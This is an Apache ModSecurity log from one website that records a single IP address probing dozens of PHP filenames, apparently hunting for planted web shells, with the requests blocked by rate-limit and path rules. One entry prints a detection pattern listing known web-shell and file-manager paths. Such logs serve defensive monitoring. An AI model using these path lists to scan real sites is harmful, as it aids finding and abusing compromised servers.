[Thu Apr 23 23:09:44.805606 2026] [:error] [pid 65000:tid 65054] [client 40.113.52.123:57342] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aeo2OL6vRb9j6psK2ZbRMQAAAhU"]
[Thu Apr 23 23:09:46.913897 2026] [:error] [pid 43083:tid 43101] [client 40.113.52.123:48901] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aeo2OjC5hrvNXosL83KI-gAAANA"]
[Thu Apr 23 23:09:48.089554 2026] [:error] [pid 64998:tid 65015] [client 40.113.52.123:39956] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aeo2PIV5EysYcTLjmwivCAAAAc0"]
[Thu Apr 23 23:09:49.984154 2026] [:error] [pid 59700:tid 59709] [client 40.113.52.123:57792] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aeo2PZXyGZJFeAIDWtk_hgAAAUc"]
[Thu Apr 23 23:09:51.125557 2026] [:error] [pid 42972:tid 43040] [client 40.113.52.123:60492] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aeo2P8OAb-3sOknsk4dkCgAAAFg"]
[Thu Apr 23 23:09:55.515690 2026] [:error] [pid 43083:tid 43107] [client 40.113.52.123:60495] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aeo2QzC5hrvNXosL83KI_gAAANY"]
[Thu Apr 23 23:10:02.302482 2026] [:error] [pid 42972:tid 43017] [client 40.113.52.123:47892] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aeo2SsOAb-3sOknsk4dkFwAAAEE"]
[Thu Apr 23 23:10:17.714646 2026] [:error] [pid 64998:tid 65015] [client 40.113.52.123:40060] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aeo2WYV5EysYcTLjmwivMQAAAc0"]
[Thu Apr 23 23:10:19.186957 2026] [:error] [pid 43083:tid 43102] [client 40.113.52.123:50460] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aeo2WzC5hrvNXosL83KJLwAAANE"]
[Thu Apr 23 23:10:22.491893 2026] [:error] [pid 65000:tid 65029] [client 40.113.52.123:38782] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aeo2Xr6vRb9j6psK2ZbRUgAAAgA"]
[Thu Apr 23 23:10:23.900533 2026] [:error] [pid 65000:tid 65048] [client 40.113.52.123:48696] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aeo2X76vRb9j6psK2ZbRVAAAAg8"]
[Thu Apr 23 23:10:24.882348 2026] [:error] [pid 64998:tid 65007] [client 40.113.52.123:50079] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/12.php"] [unique_id "aeo2YIV5EysYcTLjmwivOQAAAcU"]
[Thu Apr 23 23:10:28.751162 2026] [:error] [pid 59700:tid 59706] [client 40.113.52.123:50466] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/12.php"] [unique_id "aeo2ZJXyGZJFeAIDWtk_rQAAAUQ"]
[Thu Apr 23 23:10:29.948900 2026] [:error] [pid 65000:tid 65044] [client 40.113.52.123:1911] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/12.php"] [unique_id "aeo2Zb6vRb9j6psK2ZbRXgAAAgs"]
[Thu Apr 23 23:10:31.781587 2026] [:error] [pid 65000:tid 65053] [client 40.113.52.123:50466] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/12.php"] [unique_id "aeo2Z76vRb9j6psK2ZbRaQAAAhQ"]
[Thu Apr 23 23:10:32.826438 2026] [:error] [pid 65000:tid 65054] [client 40.113.52.123:38248] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aeo2aL6vRb9j6psK2ZbRdgAAAhU"]
[Thu Apr 23 23:10:34.745480 2026] [:error] [pid 64998:tid 65018] [client 40.113.52.123:1403] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aeo2aoV5EysYcTLjmwivRQAAAdA"]
[Thu Apr 23 23:10:38.907653 2026] [:error] [pid 42973:tid 43050] [client 40.113.52.123:53428] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aeo2bm6I0QqmmmLTHE06GgAAAIc"]
[Thu Apr 23 23:10:41.167516 2026] [:error] [pid 42972:tid 43023] [client 40.113.52.123:55110] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aeo2ccOAb-3sOknsk4dkTgAAAEc"]
[Thu Apr 23 23:10:44.167860 2026] [:error] [pid 42971:tid 42996] [client 40.113.52.123:37015] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aeo2dDEP2_5RswrH8bE3mQAAAAo"]
[Thu Apr 23 23:10:48.027673 2026] [:error] [pid 42973:tid 43050] [client 40.113.52.123:1354] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aeo2eG6I0QqmmmLTHE06LAAAAIc"]
[Thu Apr 23 23:10:49.370122 2026] [:error] [pid 64998:tid 65014] [client 40.113.52.123:37042] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aeo2eYV5EysYcTLjmwivXgAAAcw"]
[Thu Apr 23 23:10:51.576008 2026] [:error] [pid 46953:tid 46967] [client 40.113.52.123:53694] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aeo2e0nlpdHh-P6wKbpM7gAAAks"]
[Thu Apr 23 23:10:52.554911 2026] [:error] [pid 64998:tid 65010] [client 40.113.52.123:61404] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "aeo2fIV5EysYcTLjmwivZQAAAcg"]
[Thu Apr 23 23:10:53.917404 2026] [:error] [pid 42971:tid 43010] [client 40.113.52.123:57252] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "aeo2fTEP2_5RswrH8bE3oAAAABg"]
[Thu Apr 23 23:10:54.956991 2026] [:error] [pid 46953:tid 46961] [client 40.113.52.123:43216] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "aeo2fknlpdHh-P6wKbpM9QAAAkU"]
[Thu Apr 23 23:10:56.893038 2026] [:error] [pid 64998:tid 65025] [client 40.113.52.123:42108] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "aeo2gIV5EysYcTLjmwivdAAAAdc"]
[Thu Apr 23 23:10:59.605513 2026] [:error] [pid 43083:tid 43099] [client 40.113.52.123:59911] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws66.php"] [unique_id "aeo2gzC5hrvNXosL83KJPAAAAM4"]
[Thu Apr 23 23:11:01.677224 2026] [:error] [pid 65000:tid 65048] [client 40.113.52.123:49776] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws66.php"] [unique_id "aeo2hb6vRb9j6psK2ZbRwgAAAg8"]
[Thu Apr 23 23:11:02.904793 2026] [:error] [pid 65000:tid 65039] [client 40.113.52.123:62129] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws66.php"] [unique_id "aeo2hr6vRb9j6psK2ZbRywAAAgY"]
[Thu Apr 23 23:11:11.645163 2026] [:error] [pid 64998:tid 65015] [client 40.113.52.123:47109] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws66.php"] [unique_id "aeo2j4V5EysYcTLjmwivmwAAAc0"]
[Thu Apr 23 23:11:14.327209 2026] [:error] [pid 59700:tid 59716] [client 40.113.52.123:49783] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/db.php"] [unique_id "aeo2kpXyGZJFeAIDWtk_2gAAAU4"]
[Thu Apr 23 23:11:16.165007 2026] [:error] [pid 65000:tid 65038] [client 40.113.52.123:49736] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/db.php"] [unique_id "aeo2lL6vRb9j6psK2ZbR4AAAAgU"]
[Thu Apr 23 23:11:26.101230 2026] [:error] [pid 43083:tid 43096] [client 40.113.52.123:57862] [client 40.113.52.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "aeo2njC5hrvNXosL83KJSQAAAMs"]
[Thu Apr 23 23:11:32.230739 2026] [:error] [pid 46953:tid 46962] [client 40.113.52.123:41419] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aeo2pEnlpdHh-P6wKbpNKQAAAkY"]
[Thu Apr 23 23:11:33.587926 2026] [:error] [pid 43083:tid 43104] [client 40.113.52.123:38190] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aeo2pTC5hrvNXosL83KJSgAAANM"]
[Thu Apr 23 23:11:35.323456 2026] [:error] [pid 59700:tid 59709] [client 40.113.52.123:44524] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aeo2p5XyGZJFeAIDWtlABgAAAUc"]
[Thu Apr 23 23:11:38.044056 2026] [:error] [pid 64998:tid 65023] [client 40.113.52.123:56043] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aeo2qoV5EysYcTLjmwiwNQAAAdU"]
[Thu Apr 23 23:11:40.077331 2026] [:error] [pid 64998:tid 65014] [client 40.113.52.123:57861] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "aeo2rIV5EysYcTLjmwiwRgAAAcw"]
[Thu Apr 23 23:11:41.168199 2026] [:error] [pid 65000:tid 65042] [client 40.113.52.123:57881] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "aeo2rb6vRb9j6psK2ZbSBAAAAgk"]
[Thu Apr 23 23:11:43.847507 2026] [:error] [pid 42973:tid 43067] [client 40.113.52.123:47647] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "aeo2r26I0QqmmmLTHE06bQAAAJg"]
[Thu Apr 23 23:11:45.014212 2026] [:error] [pid 65000:tid 65050] [client 40.113.52.123:37776] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "aeo2sb6vRb9j6psK2ZbSGQAAAhE"]
[Thu Apr 23 23:11:46.246325 2026] [:error] [pid 65000:tid 65056] [client 40.113.52.123:45215] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wglum1.php"] [unique_id "aeo2sr6vRb9j6psK2ZbSJwAAAhc"]
[Thu Apr 23 23:11:48.222314 2026] [:error] [pid 64998:tid 65005] [client 40.113.52.123:55371] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wglum1.php"] [unique_id "aeo2tIV5EysYcTLjmwiwfAAAAcM"]
[Thu Apr 23 23:11:49.534206 2026] [:error] [pid 65000:tid 65056] [client 40.113.52.123:40619] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wglum1.php"] [unique_id "aeo2tb6vRb9j6psK2ZbSNAAAAhc"]
[Thu Apr 23 23:11:50.437898 2026] [:error] [pid 64998:tid 65026] [client 40.113.52.123:56044] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wglum1.php"] [unique_id "aeo2toV5EysYcTLjmwiwggAAAdg"]
[Thu Apr 23 23:11:51.839445 2026] [:error] [pid 64998:tid 65014] [client 40.113.52.123:40637] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "aeo2t4V5EysYcTLjmwiwiwAAAcw"]
[Thu Apr 23 23:11:53.174123 2026] [:error] [pid 46953:tid 46959] [client 40.113.52.123:47655] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "aeo2uUnlpdHh-P6wKbpNRAAAAkM"]
[Thu Apr 23 23:11:54.207600 2026] [:error] [pid 46953:tid 46973] [client 40.113.52.123:44507] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "aeo2uknlpdHh-P6wKbpNSAAAAlE"]
[Thu Apr 23 23:11:56.307037 2026] [:error] [pid 64967:tid 64990] [client 40.113.52.123:37808] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "aeo2vIAV4GfOOdX8QzqB0QAAAZU"]
[Thu Apr 23 23:11:59.774026 2026] [:error] [pid 25635:tid 25647] [client 40.113.52.123:51683] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "aeo2v8Rxv6UsgRGKB3I9SgAAAQg"]
[Thu Apr 23 23:12:01.325814 2026] [:error] [pid 59700:tid 59720] [client 40.113.52.123:49468] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "aeo2wZXyGZJFeAIDWtlADgAAAVI"]
[Thu Apr 23 23:12:04.895625 2026] [:error] [pid 59700:tid 59703] [client 40.113.52.123:37822] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "aeo2xJXyGZJFeAIDWtlADwAAAUE"]
[Thu Apr 23 23:12:05.954810 2026] [:error] [pid 64998:tid 65008] [client 40.113.52.123:40632] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "aeo2xYV5EysYcTLjmwiwqgAAAcY"]
[Thu Apr 23 23:12:07.171438 2026] [:error] [pid 65000:tid 65049] [client 40.113.52.123:40621] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xynz.php"] [unique_id "aeo2x76vRb9j6psK2ZbSPQAAAhA"]
